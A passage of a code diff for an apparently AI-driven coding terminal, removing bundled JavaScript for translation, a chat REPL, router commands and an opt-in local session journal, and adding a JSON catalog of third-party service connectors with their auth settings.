"tgk_Cyrl", - sd: "snd_Arab", - gu: "guj_Gujr", - am: "amh_Ethi", - yi: "ydd_Hebr", - lo: "lao_Laoo", - uz: "uzn_Latn", - fo: "fao_Latn", - ht: "hat_Latn", - ps: "pbt_Arab", - tk: "tuk_Latn", - nn: "nno_Latn", - mt: "mlt_Latn", - sa: "san_Deva", - lb: "ltz_Latn", - my: "mya_Mymr", - bo: "bod_Tibt", - tl: "tgl_Latn", - mg: "plt_Latn", - as: "asm_Beng", - tt: "tat_Cyrl", - ln: "lin_Latn", - ha: "hau_Latn", - ba: "bak_Cyrl", - jw: "jav_Latn", - su: "sun_Latn", - yue: "yue_Hant" -}; -var ENG = "eng_Latn"; -var toNllb = (iso) => NLLB_CODE[(iso || "").toLowerCase()] ?? ENG; -var NllbTranslator = class { - pipe = null; - loading = null; - ready() { - return this.pipe !== null; - } - /** Lazy-load NLLB-200 once (first-use download + cache). Idempotent. */ - async load(modelId = "Xenova/nllb-200-distilled-600M") { - if (this.pipe) return; - if (this.loading) return this.loading; - this.loading = (async () => { - const { pipeline } = await import("@huggingface/transformers"); - this.pipe = await pipeline("translation", modelId); - })(); - return this.loading; - } - async run(text, src, tgt) { - if (!this.pipe) await this.load(); - if (!this.pipe) return text; - const out = await this.pipe(text, { src_lang: src, tgt_lang: tgt }); - return out?.[0]?.translation_text?.trim() || text; - } - toEnglish(text, fromLang) { - return this.run(text, toNllb(fromLang), ENG); - } - fromEnglish(english, toLang) { - return this.run(english, ENG, toNllb(toLang)); - } -}; -var instance = null; -function setupNllbTranslator(opts) { - if (!instance) { - instance = new NllbTranslator(); - registerTranslator(instance); - } - if (opts?.preload) void instance.load(); - return instance; -} - -// src/language/gateway.ts -var isEnglish2 = (code) => !code || code.toLowerCase().startsWith("en"); -var isCommand = (text) => text.trimStart().startsWith("/"); -async function ensureReady() { - try { - await setupNllbTranslator().load(); - } catch { - } -} -async function translateIncoming(message) { - const lang = getTerminalLanguage().code; - if (isEnglish2(lang) || !message.trim() || isCommand(message)) return message; - await ensureReady(); - return translateForCoder(message, lang); -} -async function translateOutgoing(text) { - const lang = getTerminalLanguage().code; - if (isEnglish2(lang) || !text.trim()) return text; - await ensureReady(); - return translateForUser(text, lang); -} - -// src/repl-ui/tui-repl.ts -import { ProcessTerminal, TUI, Editor, Text, Container } from "@earendil-works/pi-tui"; - -// src/repl-ui/permission.ts -var MODES = ["manual", "accept_edits", "auto", "plan"]; -var MODE_META = { - manual: { label: "Manual", indicator: "\u25CF" }, - accept_edits: { label: "Accept Edits", indicator: "\u270E" }, - auto: { label: "Auto", indicator: "\u23F5\u23F5" }, - plan: { label: "Plan", indicator: "\u25A2" } -}; -var current = "manual"; -function getMode() { - return current; -} -function cycleMode() { - const i = MODES.indexOf(current); - current = MODES[(i + 1) % MODES.length]; - return current; -} - -// src/repl-ui/tui-repl.ts -var editorTheme = { - borderColor: (s) => dim(s), - selectList: { - selectedPrefix: (s) => accent(s), - selectedText: (s) => accent(s), - description: (s) => dim(s), - scrollInfo: (s) => dim(s), - noMatch: (s) => dim(s) - } -}; -function footerText() { - const cur = getMode(); - const bar = MODES.map((m) => { - const meta = MODE_META[m]; - const s = `${meta.indicator} ${meta.label}`; - return m === cur ? accent(s) : dim(s); - }).join(dim(" \xB7 ")); - return `${bar} ${dim("Shift+Tab to switch \xB7 /exit")}`; -} -async function runTuiRepl(session) { - const isEnglish3 = getTerminalLanguage().code.toLowerCase().startsWith("en"); - const term = new ProcessTerminal(); - const tui = new TUI(term, true); - const chat = new Container(); - const editor = new Editor(tui, editorTheme, { paddingX: 1 }); - const sep = new Text(dim("\u2500".repeat(Math.max(8, term.columns))), 0, 0); - const footer = new Text(footerText(), 0, 0); - tui.addChild(chat); - tui.addChild(editor); - tui.addChild(sep); - tui.addChild(footer); - tui.setFocus(editor); - const refreshFooter = () => { - sep.setText(dim("\u2500".repeat(Math.max(8, term.columns)))); - footer.setText(footerText()); - tui.requestRender(); - }; - const removeListener = tui.addInputListener((data) => { - if (data === "\x1B[Z") { - cycleMode(); - refreshFooter(); - return { consume: true }; + "slug": "figma", + "name": "Figma", + "category": "Design", + "authType": "token", + "mcpUrl": "https://github.com/GLips/Figma-Context-MCP", + "description": "Provide coding agents direct access to Figma data to help them one-shot design implementation.", + "configSchema": { + "auth": "token", + "fields": [ + { + "key": "access_token", + "label": "Figma Access Token", + "type": "password", + "help": "https://www.figma.com/developers/api" + } + ] } - return void 0; - }); - let stopped = false; - const cleanup = () => { - if (stopped) return; - stopped = true; - try { - removeListener(); - } catch { + }, + { + "slug": "canva", + "name": "Canva", + "category": "Design", + "authType": "oauth", + "mcpUrl": "", + "description": "Canva integration for ORIRO. (Design category.)", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Canva OAuth \u2014 no keys to paste.", + "docs": "https://www.canva.dev/docs/connect/" } - try { - session.dispose(); - } catch { + }, + { + "slug": "adobe", + "name": "Adobe", + "category": "Design", + "authType": "oauth", + "mcpUrl": "", + "description": "Adobe Analytics is an enterprise web/marketing analytics platform. Its official MCP server exposes reporting and segment tools.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Adobe OAuth \u2014 no keys to paste.", + "docs": "https://developer.adobe.com/" } - try { - tui.stop(); - } catch { + }, + { + "slug": "google-analytics", + "name": "Google Analytics", + "category": "Data and Analytics", + "authType": "oauth", + "mcpUrl": "https://github.com/googleanalytics/google-analytics-mcp", + "description": "Google Analytics (GA4) is the standard web analytics platform. Its official MCP server provides read-only reporting tools, authenticated via Google Application Default Credentials.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Google Analytics OAuth \u2014 no keys to paste.", + "docs": "https://developers.google.com/analytics" } - process.stdout.write(dim("\nBye.\n")); - process.exit(0); - }; - process.on("SIGINT", cleanup); - let busy = false; - editor.onSubmit = (raw) => { - const text = raw.trim(); - if (!text || busy) return; - const slash = text.toLowerCase(); - if (slash === "/exit" || slash === "/quit") return cleanup(); - if (slash === "/help" || slash === "/?") { - chat.addChild(new Text(dim(" Just type to chat. Shift+Tab cycles posture. /exit to leave."), 0, 0)); - editor.setText(""); - tui.requestRender(); - return; + }, + { + "slug": "mixpanel", + "name": "Mixpanel", + "category": "Data and Analytics", + "authType": "apikey", + "mcpUrl": "https://docs.mixpanel.com/docs/mcp", + "description": "Mixpanel is a product-analytics platform. Its official hosted MCP server (2026) answers natural-language questions about events, funnels, flows, retention, and session replays.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Mixpanel API Key", + "type": "password", + "help": "https://developer.mixpanel.com/" + } + ] } - editor.addToHistory(text); - editor.setText(""); - chat.addChild(new Text(`${accent("\u203A")} ${text}`, 0, 1)); - const streaming = new Text(dim("\u2026"), 0, 0); - chat.addChild(streaming); - tui.requestRender(); - busy = true; - void (async () => { - const english = await translateIncoming(text); - noteUserInput(text); - let out = ""; - const unsub = session.subscribe( - (e) => { - if (e.type === "message_update" && e.assistantMessageEvent?.type === "text_delta") { - out += e.assistantMessageEvent.delta ?? ""; - if (isEnglish3) { - streaming.setText(out); - tui.requestRender(); - } - } + }, + { + "slug": "amplitude", + "name": "Amplitude", + "category": "Data and Analytics", + "authType": "apikey", + "mcpUrl": "", + "description": "Amplitude is a digital-analytics platform. Its official MCP server covers analytics, session replays, feature flags, and web vitals.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Amplitude API Key", + "type": "password", + "help": "https://www.docs.developers.amplitude.com/" } - ); - try { - await session.prompt(english); - } catch { - streaming.setText(dim("(every free router is busy right now \u2014 give it a moment and try again)")); - tui.requestRender(); - busy = false; - unsub(); - return; - } - unsub(); - const finalText = isEnglish3 ? out.trim() : await translateOutgoing(out.trim()); - streaming.setText(finalText || dim("(no response)")); - tui.requestRender(); - busy = false; - })(); - }; - tui.start(); - refreshFooter(); - await new Promise(() => { - }); -} - -// src/repl.ts -function replHelp() { - return ` - ${accent("ORIRO terminal \u2014 help")} - ${dim("Just type to chat; ORIRO writes and runs code for you (keyless, free).")} - - ${accent("/help")} this help ${accent("/exit")} or ${accent("/quit")} leave ${dim("Ctrl-D / Ctrl-C also exit")} - ${dim("Run these OUTSIDE the chat (in your shell):")} - ${dim("oriro skills \xB7 routers \xB7 connectors \xB7 channels \xB7 scribe \xB7 language \xB7 avatar")} - -`; -} -async function runRepl() { - if (isFirstRun()) await runOnboarding(); - else stdout6.write(banner()); - const { session } = await assembleOriroSession(); - if (stdin5.isTTY && stdout6.isTTY) { - await runTuiRepl(session); - return; - } - await runReadlineRepl(session); -} -async function runReadlineRepl(session) { - const isEnglish3 = getTerminalLanguage().code.toLowerCase().startsWith("en"); - const rl = createInterface5({ input: stdin5, output: stdout6 }); - let closing = false; - const onSigint = () => { - if (closing) return; - closing = true; - stdout6.write(dim("\nBye.\n")); - try { - rl.close(); - } catch { + ] } - try { - session.dispose(); - } catch { + }, + { + "slug": "segment", + "name": "Segment", + "category": "Data and Analytics", + "authType": "apikey", + "mcpUrl": "", + "description": "Segment is a customer-data platform. ORIRO connects via its REST + Connections API to route and manage event and customer data across tools.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Segment API Key", + "type": "password", + "help": "https://segment.com/docs/" + } + ] } - process.exit(0); - }; - process.on("SIGINT", onSigint); - try { - for (; ; ) { - let line; - try { - line = (await rl.question("\u203A ")).trim(); - } catch { - break; - } - if (!line) continue; - const slash = line.toLowerCase(); - if (slash === "/exit" || slash === "/quit") break; - if (slash === "/help" || slash === "/?") { - stdout6.write(replHelp()); - continue; - } - const english = await translateIncoming(line); - noteUserInput(line); - let out = ""; - const unsub = session.subscribe( - (e) => { - if (e.type === "message_update" && e.assistantMessageEvent?.type === "text_delta") { - const d = e.assistantMessageEvent.delta ?? ""; - out += d; - if (isEnglish3) stdout6.write(d); - } + }, + { + "slug": "snowflake", + "name": "Snowflake", + "category": "Data and Analytics", + "authType": "apikey", + "mcpUrl": "https://github.com/Snowflake-Labs/mcp", + "description": "Open-source MCP server for Snowflake from official Snowflake-Labs supports prompting Cortex Agents, querying structured & unstructured data, object management, SQL execution, semantic view querying, and more. RBAC, fine-grained CRUD controls, and all authentication methods supported.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Snowflake API Key", + "type": "password", + "help": "https://docs.snowflake.com/" + } + ] + } + }, + { + "slug": "bigquery", + "name": "BigQuery", + "category": "Data and Analytics", + "authType": "apikey", + "mcpUrl": "https://github.com/ergut/mcp-bigquery-server", + "description": "Server implementation for Google BigQuery integration that enables direct BigQuery database access and querying capabilities", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "BigQuery API Key", + "type": "password", + "help": "https://cloud.google.com/bigquery/docs" } - ); - try { - await session.prompt(english); - } finally { - unsub(); - } - if (isEnglish3) stdout6.write("\n\n"); - else stdout6.write(`${await translateOutgoing(out.trim())} - -`); + ] } - } finally { - process.removeListener("SIGINT", onSigint); - if (!closing) { - rl.close(); - session.dispose(); - stdout6.write(dim("\nBye.\n")); + }, + { + "slug": "supabase", + "name": "Supabase", + "category": "Data and Analytics", + "authType": "apikey", + "mcpUrl": "https://github.com/supabase-community/supabase-mcp", + "description": "Official Supabase MCP server to connect AI assistants directly with your Supabase project and allows them to perform tasks like managing tables, fetching config, and querying data.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Supabase API Key", + "type": "password", + "help": "https://supabase.com/docs" + } + ] } - } -} - -// src/commands/ui.ts -var ok = (s) => { - process.stdout.write(`${fgHex(PALETTE.success, "\u2713")} ${s} -`); -}; -var fail = (s) => { - process.stderr.write(`${fgHex(PALETTE.error, "\u2717")} ${s} -`); -}; -var info = (s) => { - process.stdout.write(`${dim("\xB7")} ${s} -`); -}; -var heading = (s) => { - process.stdout.write(` -${bold(accent(s))} -`); -}; -var DieError = class extends Error { -}; -function die(msg) { - fail(msg); - process.exitCode = 1; - throw new DieError(msg); -} - -// src/commands/routers.ts -function registerRoutersCommand(program2) { - const routers = program2.command("routers").description("manage the free-router pool the model runs on"); - routers.command("list").description("list the router catalog and the active pool").action(() => { - heading("Routers"); - for (const r of ROUTER_CATALOG) { - if (r.comingSoon) { - process.stdout.write(` ${dim(`${r.id} ${r.displayName} (coming soon)`)} -`); - continue; - } - const tier = r.keyless ? fgHex(PALETTE.success, "keyless") : dim(r.tier); - process.stdout.write(` ${accent(r.id.padEnd(22))} ${r.displayName.padEnd(24)} ${tier} -`); + }, + { + "slug": "mongodb-atlas", + "name": "MongoDB Atlas", + "category": "Data and Analytics", + "authType": "apikey", + "mcpUrl": "https://github.com/furey/mongodb-lens", + "description": "MongoDB Lens: Full Featured MCP Server for MongoDB Databases", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "MongoDB Atlas API Key", + "type": "password", + "help": "https://www.mongodb.com/docs/atlas/" + } + ] } - const custom = registeredRouters().filter((r) => !ROUTER_CATALOG.some((c) => c.id === r.id)); - if (custom.length) { - process.stdout.write(` - ${accent("your custom routers")} -`); - for (const r of custom) { - const type = r.apiKey && r.apiKey !== KEYLESS_SENTINEL ? dim("BYOK") : fgHex(PALETTE.success, "keyless"); - process.stdout.write(` ${accent(r.id.padEnd(22))} ${dim(r.baseUrl.padEnd(40))} ${type} -`); - } + }, + { + "slug": "planetscale", + "name": "PlanetScale", + "category": "Data and Analytics", + "authType": "apikey", + "mcpUrl": "https://github.com/planetscale/cli", + "description": "The CLI for PlanetScale Database.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "PlanetScale API Key", + "type": "password", + "help": "https://planetscale.com/docs" + } + ] } - const pool = resolvePool(); - info(pool.length ? `active pool: ${pool.map((p) => p.id).join(", ")}` : "active pool: empty \u2192 using the keyless floor"); - }); - routers.command("add ").description("live-validate a router and add it to the pool \u2014 a catalog name, OR any custom endpoint via --url").option("-k, --key ", "API key (BYOK) \u2014 omit for a keyless free router").option("-m, --model ", "model id to run (REQUIRED for a custom --url router)").option("--url ", "add ANY custom free/BYOK router by its OpenAI-compatible base URL (the part BEFORE /chat/completions)").option("--api ", "custom router API: 'openai' (default) or 'google'", "openai").action(async (name, opts) => { - let entry; - if (opts.url) { - if (!opts.model) die("a custom --url router needs --model (the model to run on that endpoint)"); - const baseUrl = opts.url.replace(/\/(?:chat\/completions)\/?$/i, "").replace(/\/$/, ""); - entry = { - id: name, - displayName: name, - baseUrl, - api: opts.api === "google" ? "google-generative-ai" : "openai-completions", - freeModels: [opts.model], - keyless: !opts.key, - tier: "free", - kind: "chat" - }; - } else { - entry = routerById(name); - if (!entry) die(`unknown router '${name}' \u2014 run \`oriro routers list\`, or add any custom endpoint with: oriro routers add --url --model [--key ]`); + }, + { + "slug": "stripe", + "name": "Stripe", + "category": "Finance", + "authType": "apikey", + "mcpUrl": "", + "description": "Stripe integration for ORIRO. (Finance category.)", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Stripe API Key", + "type": "password", + "help": "https://stripe.com/docs/api" + } + ] } - const res = await addRouter(entry, { ...opts.key ? { key: opts.key } : {}, ...opts.model ? { modelId: opts.model } : {} }); - if (!res.ok) die(`could not add '${name}': ${res.validation.error ?? "validation failed"}`); - ok(`added ${accent(name)} (${res.validation.latencyMs}ms, model ${res.validation.model}${opts.key ? ", BYOK" : ", keyless"}) \u2192 active pool`); - }); - routers.command("use ").description("set the active router pool (ids must be added first)").action((slugs) => { - const { applied, unknown } = useRouters(slugs); - if (!applied.length) { - die(`none of those are added yet: ${unknown.join(", ")} \u2014 run \`oriro routers add \` first`); + }, + { + "slug": "quickbooks", + "name": "QuickBooks", + "category": "Finance", + "authType": "oauth", + "mcpUrl": "", + "description": "QuickBooks integration for ORIRO. (Finance category.)", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via QuickBooks OAuth \u2014 no keys to paste.", + "docs": "https://developer.intuit.com/" } - ok(`pool set: ${applied.join(", ")}`); - if (unknown.length) info(`skipped (not added yet \u2014 run \`oriro routers add\`): ${unknown.join(", ")}`); - }); -} - -// src/commands/scribe.ts -import { readFileSync as readFileSync18 } from "fs"; - -// src/scribe/transcript.ts -import { existsSync as existsSync12, readFileSync as readFileSync17 } from "fs"; -function parseHookStdin(raw) { - try { - const j = JSON.parse(raw); - return { - transcriptPath: typeof j.transcript_path === "string" ? j.transcript_path : void 0, - cwd: typeof j.cwd === "string" ? j.cwd : void 0, - sessionId: typeof j.session_id === "string" ? j.session_id : void 0, - stopHookActive: j.stop_hook_active === true - }; - } catch { - return { stopHookActive: false }; - } -} -function shouldCapture(cwd) { - if (process.env.ORIRO_SCRIBE_ONLY !== "1") return true; - if (!cwd) return false; - return /oriro/i.test(cwd.replace(/\\/g, "/")); -} -function textOf(content) { - if (!content) return ""; - if (typeof content === "string") return content; - return content.filter((b) => b.type === "text" && typeof b.text === "string").map((b) => b.text).join("\n").trim(); -} -function isHumanUser(e) { - if (e.type !== "user" && e.message?.role !== "user") return false; - const c = e.message?.content; - if (typeof c === "string") return c.trim().length > 0; - if (Array.isArray(c)) return c.some((b) => b.type === "text" && (b.text ?? "").trim().length > 0); - return false; -} -var FILE_KEYS = ["file_path", "path", "notebook_path", "filePath"]; -function lastTurnFromTranscript(path) { - if (!existsSync12(path)) return null; - const raw = readFileSync17(path, "utf8"); - const entries = []; - for (const line of raw.split("\n")) { - if (!line.trim()) continue; - try { - entries.push(JSON.parse(line)); - } catch { + }, + { + "slug": "xero", + "name": "Xero", + "category": "Finance", + "authType": "oauth", + "mcpUrl": "https://github.com/XeroAPI/xero-mcp-server", + "description": "An MCP server that integrates with Xero's API, allowing for standardized access to Xero's accounting and business features.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Xero OAuth \u2014 no keys to paste.", + "docs": "https://developer.xero.com/" + } + }, + { + "slug": "plaid", + "name": "Plaid", + "category": "Finance", + "authType": "apikey", + "mcpUrl": "", + "description": "Plaid connects apps to users' bank accounts. ORIRO connects via its REST API for balances, transactions, and identity (financial data connectivity).", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Plaid API Key", + "type": "password", + "help": "https://plaid.com/docs/api/" + } + ] } - } - if (entries.length === 0) return null; - let anchor; - let start = -1; - for (let i = entries.length - 1; i >= 0; i--) { - const e = entries[i]; - if (e && isHumanUser(e)) { - start = i; - anchor = e; - break; + }, + { + "slug": "shopify", + "name": "Shopify", + "category": "E-commerce", + "authType": "apikey", + "mcpUrl": "", + "description": "Shopify is a leading e-commerce platform. ORIRO connects via its REST + GraphQL Admin API to manage products, orders, customers, and inventory.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Shopify API Key", + "type": "password", + "help": "https://shopify.dev/docs/api" + } + ] } - } - const slice = start === -1 ? entries : entries.slice(start); - const user = anchor ? textOf(anchor.message?.content) : ""; - const noteParts = []; - const tools = /* @__PURE__ */ new Set(); - const files = /* @__PURE__ */ new Set(); - let ts; - for (const e of slice) { - if (e.timestamp) ts = e.timestamp; - const role = e.type ?? e.message?.role; - const content = e.message?.content; - if (role === "assistant") { - const t = textOf(content); - if (t) noteParts.push(t); + }, + { + "slug": "woocommerce", + "name": "WooCommerce", + "category": "E-commerce", + "authType": "apikey", + "mcpUrl": "", + "description": "WooCommerce is the WordPress e-commerce plugin powering millions of stores. ORIRO connects via its REST API for products, orders, and customers.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "WooCommerce API Key", + "type": "password", + "help": "https://woocommerce.github.io/woocommerce-rest-api-docs/" + } + ] } - if (Array.isArray(content)) { - for (const b of content) { - if (b.type === "tool_use" && b.name) { - tools.add(b.name); - const input = b.input ?? {}; - for (const k of FILE_KEYS) { - const v = input[k]; - if (typeof v === "string" && v.trim()) files.add(v.trim()); - } + }, + { + "slug": "mailchimp", + "name": "Mailchimp", + "category": "Marketing", + "authType": "apikey", + "mcpUrl": "", + "description": "Mailchimp is an email-marketing industry standard. ORIRO connects via REST API v3 to manage audiences, campaigns, and automations.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Mailchimp API Key", + "type": "password", + "help": "https://mailchimp.com/developer/" } - } + ] } - } - const note = noteParts.join("\n\n").trim(); - if (!user && !note && tools.size === 0) return null; - return { - user: user || void 0, - note: note || void 0, - tools: tools.size ? [...tools] : void 0, - files: files.size ? [...files] : void 0, - ts - }; -} - -// src/commands/scribe.ts -function readStdin() { - try { - return readFileSync18(0, "utf8"); - } catch { - return ""; - } -} -function csv(v) { - if (typeof v !== "string") return void 0; - const arr = v.split(",").map((s) => s.trim()).filter(Boolean); - return arr.length ? arr : void 0; -} -function hasContent(rec) { - return Boolean(rec.user?.trim() || rec.note?.trim() || rec.tools?.length || rec.files?.length); -} -function registerScribeCommand(program2) { - const scribe = program2.command("scribe").description("the consent-gated local work journal (off by default)"); - scribe.command("on").description("enable the journal (recorded locally at ~/.oriro/scribe, never leaves your machine)").action(() => { - setScribeConsent(true); - ok("Scriber is ON \u2014 turns are journaled locally (redacted) and recalled across sessions."); - info(dim("everything stays on this machine; turn off any time with `oriro scribe off`")); - }); - scribe.command("off").description("disable the journal").action(() => { - setScribeConsent(false); - ok("Scriber is OFF \u2014 no new turns are recorded or injected."); - }); - scribe.command("status").description("show whether the journal is on or off").action(() => { - info(isScribeEnabled() ? "Scriber: ON" : "Scriber: OFF (default)"); - }); - scribe.command("capture").description("capture one turn into the journal (used by the Claude Code Stop hook + /scribe skill)").option("--hook", "read the Claude Code Stop-hook JSON from stdin and capture the latest turn").option("--json ", "capture an explicit TurnRecord (JSON)").option("--user ", "the user/request text for this turn").option("--note ", "a note / assistant summary for this turn").option("--router ", "which router/model produced the turn").option("--files ", "comma-separated file paths touched").option("--tools ", "comma-separated tool names used").action((opts) => { - try { - if (!isScribeEnabled()) { - if (!opts.hook) info("Scriber is OFF \u2014 run `oriro scribe on` first."); - return; - } - const now = (/* @__PURE__ */ new Date()).toISOString(); - let rec = null; - if (opts.hook) { - const hook = parseHookStdin(readStdin()); - if (hook.stopHookActive) return; - if (!shouldCapture(hook.cwd)) return; - if (!hook.transcriptPath) return; - const turn = lastTurnFromTranscript(hook.transcriptPath); - if (!turn) return; - const ts = turn.ts ?? now; - rec = { - ts, - date: ts.slice(0, 10), - user: turn.user, - note: turn.note, - tools: turn.tools, - files: turn.files, - router: opts.router ?? "claude-code", - context: hook.cwd ? `cwd: ${hook.cwd}` : void 0 - }; - } else if (opts.json) { - const parsed = JSON.parse(opts.json); - const ts = parsed.ts ?? now; - rec = { ...parsed, ts, date: parsed.date ?? ts.slice(0, 10) }; - } else { - rec = { - ts: now, - date: now.slice(0, 10), - user: opts.user, - note: opts.note, - router: opts.router, - files: csv(opts.files), - tools: csv(opts.tools) - }; - } - if (!rec || !hasContent(rec)) { - if (!opts.hook) info("nothing to capture."); - return; - } - const res = supervisedCapture(rec); - if (!opts.hook) { - if (res) { - const red = res.redactions.length ? ` (redacted: ${res.redactions.map((r) => `${r.label}\xD7${r.count}`).join(", ")})` : ""; - ok(`captured \u2192 ${res.journalDate}.md${red}`); - } else { - info("capture deferred (logged); will retry next turn."); + }, + { + "slug": "sendgrid", + "name": "SendGrid", + "category": "Marketing", + "authType": "apikey", + "mcpUrl": "", + "description": "SendGrid is a transactional and marketing email service used by millions of developers. ORIRO connects via its REST API to send mail and manage templates, contacts, and stats.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "SendGrid API Key", + "type": "password", + "help": "https://docs.sendgrid.com/api-reference" } - } - } catch (err) { - if (!opts.hook) fail(`scribe capture: ${err instanceof Error ? err.message : String(err)}`); + ] } - }); - scribe.command("recall ").description("full-text search across every day's journal").option("-n, --limit ", "max matches", "50").action((query, opts) => { - const limit = Math.max(1, Number(opts.limit) || 50); - const hits = searchScribe(query, limit); - if (!hits.length) { - info(`no matches for "${query}".`); - return; + }, + { + "slug": "hubspot", + "name": "HubSpot", + "category": "Marketing", + "authType": "oauth", + "mcpUrl": "https://developers.hubspot.com/mcp", + "description": "HubSpot is a leading CRM and marketing/sales platform. Its official remote MCP server (GA May 2026) works with contacts, companies, deals, tickets, and engagements.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via HubSpot OAuth \u2014 no keys to paste.", + "docs": "https://developers.hubspot.com/" + } + }, + { + "slug": "salesforce", + "name": "Salesforce", + "category": "Marketing", + "authType": "oauth", + "mcpUrl": "https://github.com/salesforcecli/mcp", + "description": "Salesforce is the leading enterprise CRM. The official salesforcecli/mcp server (Apache 2.0) exposes 60+ tools with dynamic toolsets for orgs, records, and metadata.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Salesforce OAuth \u2014 no keys to paste.", + "docs": "https://developer.salesforce.com/" + } + }, + { + "slug": "meta", + "name": "Meta", + "category": "Marketing", + "authType": "oauth", + "mcpUrl": "https://github.com/gomarble-ai/facebook-ads-mcp-server", + "description": "MCP server acting as an interface to the Facebook Ads, enabling programmatic access to Facebook Ads data and management features.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Meta OAuth \u2014 no keys to paste.", + "docs": "https://developers.facebook.com/" } - heading(`Scribe \u2014 ${hits.length} match(es) for "${query}"`); - for (const h of hits) info(`${h.date}:${h.line} \xB7 ${h.text}`); - }); - scribe.command("digest").description("print the rolling digest (recent context, injectable in a flash)").action(() => { - const d = readDigest(); - process.stdout.write(d?.trim() ? `${d.trim()} -` : "\xB7 digest empty (nothing captured yet).\n"); - }); - scribe.command("timeline").description("print the full-history timeline (one line per day)").action(() => { - const t = readTimeline(); - process.stdout.write(t?.trim() ? `${t.trim()} -` : "\xB7 timeline empty (nothing captured yet).\n"); - }); - scribe.command("health").description("show the scribe writer's health (last write, fault count)").action(() => { - const h = readHealth(); - info(`last write: ${h.lastWriteAt ?? "never"}`); - info(`faults: ${h.faultCount}${h.lastFault ? ` (last: ${h.lastFault})` : ""}`); - }); -} - -// src/connectors/connectors.ts -import { readFileSync as readFileSync19, writeFileSync as writeFileSync14 } from "fs"; -import { join as join19 } from "path"; - -// src/connectors/catalog.ts -var CONNECTOR_CATALOG = [ + }, { - "slug": "github", - "name": "GitHub", - "category": "Development", + "slug": "google-ads", + "name": "Google Ads", + "category": "Marketing", "authType": "oauth", - "mcpUrl": "https://github.com/github/github-mcp-server", - "description": "Official GitHub server for integration with repository management, PRs, issues, and more.", + "mcpUrl": "https://github.com/gomarble-ai/google-ads-mcp-server", + "description": "MCP server acting as an interface to the Google Ads, enabling programmatic access to Google Ads data and management features.", "configSchema": { "auth": "oauth", "fields": [], - "note": "Authorize via GitHub OAuth \u2014 no keys to paste.", - "docs": "https://docs.github.com/rest" + "note": "Authorize via Google Ads OAuth \u2014 no keys to paste.", + "docs": "https://developers.google.com/google-ads/api/docs/start" } }, { - "slug": "gitlab", - "name": "GitLab", - "category": "Development", + "slug": "youtube", + "name": "YouTube", + "category": "Media and Content", "authType": "oauth", - "mcpUrl": "https://github.com/kopfrechner/gitlab-mr-mcp", - "description": "Interact seamlessly with issues and merge requests of your GitLab projects.", + "mcpUrl": "https://github.com/kimtaeyoon83/mcp-server-youtube-transcript", + "description": "Fetch YouTube subtitles and transcripts for AI analysis", "configSchema": { "auth": "oauth", "fields": [], - "note": "Authorize via GitLab OAuth \u2014 no keys to paste.", - "docs": "https://docs.gitlab.com/ee/api/" + "note": "Authorize via YouTube OAuth \u2014 no keys to paste.", + "docs": "https://developers.google.com/youtube" } }, { - "slug": "linear", - "name": "Linear", - "category": "Development", + "slug": "tiktok", + "name": "TikTok", + "category": "Media and Content", "authType": "oauth", - "mcpUrl": "https://github.com/tacticlaunch/mcp-linear", - "description": "Integrates with Linear project management system", + "mcpUrl": "https://github.com/Seym0n/tiktok-mcp", + "description": "Interact with TikTok videos", "configSchema": { "auth": "oauth", "fields": [], - "note": "Authorize via Linear OAuth \u2014 no keys to paste.", - "docs": "https://developers.linear.app/" + "note": "Authorize via TikTok OAuth \u2014 no keys to paste.", + "docs": "https://developers.tiktok.com/" } }, { - "slug": "jira", - "name": "Jira", - "category": "Development", + "slug": "vimeo", + "name": "Vimeo", + "category": "Media and Content", "authType": "oauth", - "mcpUrl": "https://github.com/sooperset/mcp-atlassian", - "description": "MCP server for Atlassian products (Confluence and Jira). Supports Confluence Cloud, Jira Cloud, and Jira Server/Data Center. Provides comprehensive tools for searching, reading, creating, and managing content across Atlassian workspaces.", + "mcpUrl": "", + "description": "Vimeo is a professional video-hosting platform. ORIRO connects via its REST API v3.4 (OAuth) to upload, manage, and retrieve videos.", "configSchema": { "auth": "oauth", "fields": [], - "note": "Authorize via Jira OAuth \u2014 no keys to paste.", - "docs": "https://developer.atlassian.com/cloud/jira/" + "note": "Authorize via Vimeo OAuth \u2014 no keys to paste.", + "docs": "https://developer.vimeo.com/" } }, { - "slug": "sentry", - "name": "Sentry", - "category": "Development", + "slug": "wordpress", + "name": "WordPress", + "category": "Media and Content", + "authType": "apikey", + "mcpUrl": "", + "description": "WordPress integration for ORIRO. (Media and Content category.)", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "WordPress API Key", + "type": "password", + "help": "https://developer.wordpress.org/rest-api/" + } + ] + } + }, + { + "slug": "ghost", + "name": "Ghost", + "category": "Media and Content", + "authType": "apikey", + "mcpUrl": "", + "description": "Ghost is a modern publishing platform. ORIRO connects via its Content + Admin REST API to manage posts, pages, and members.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Ghost API Key", + "type": "password", + "help": 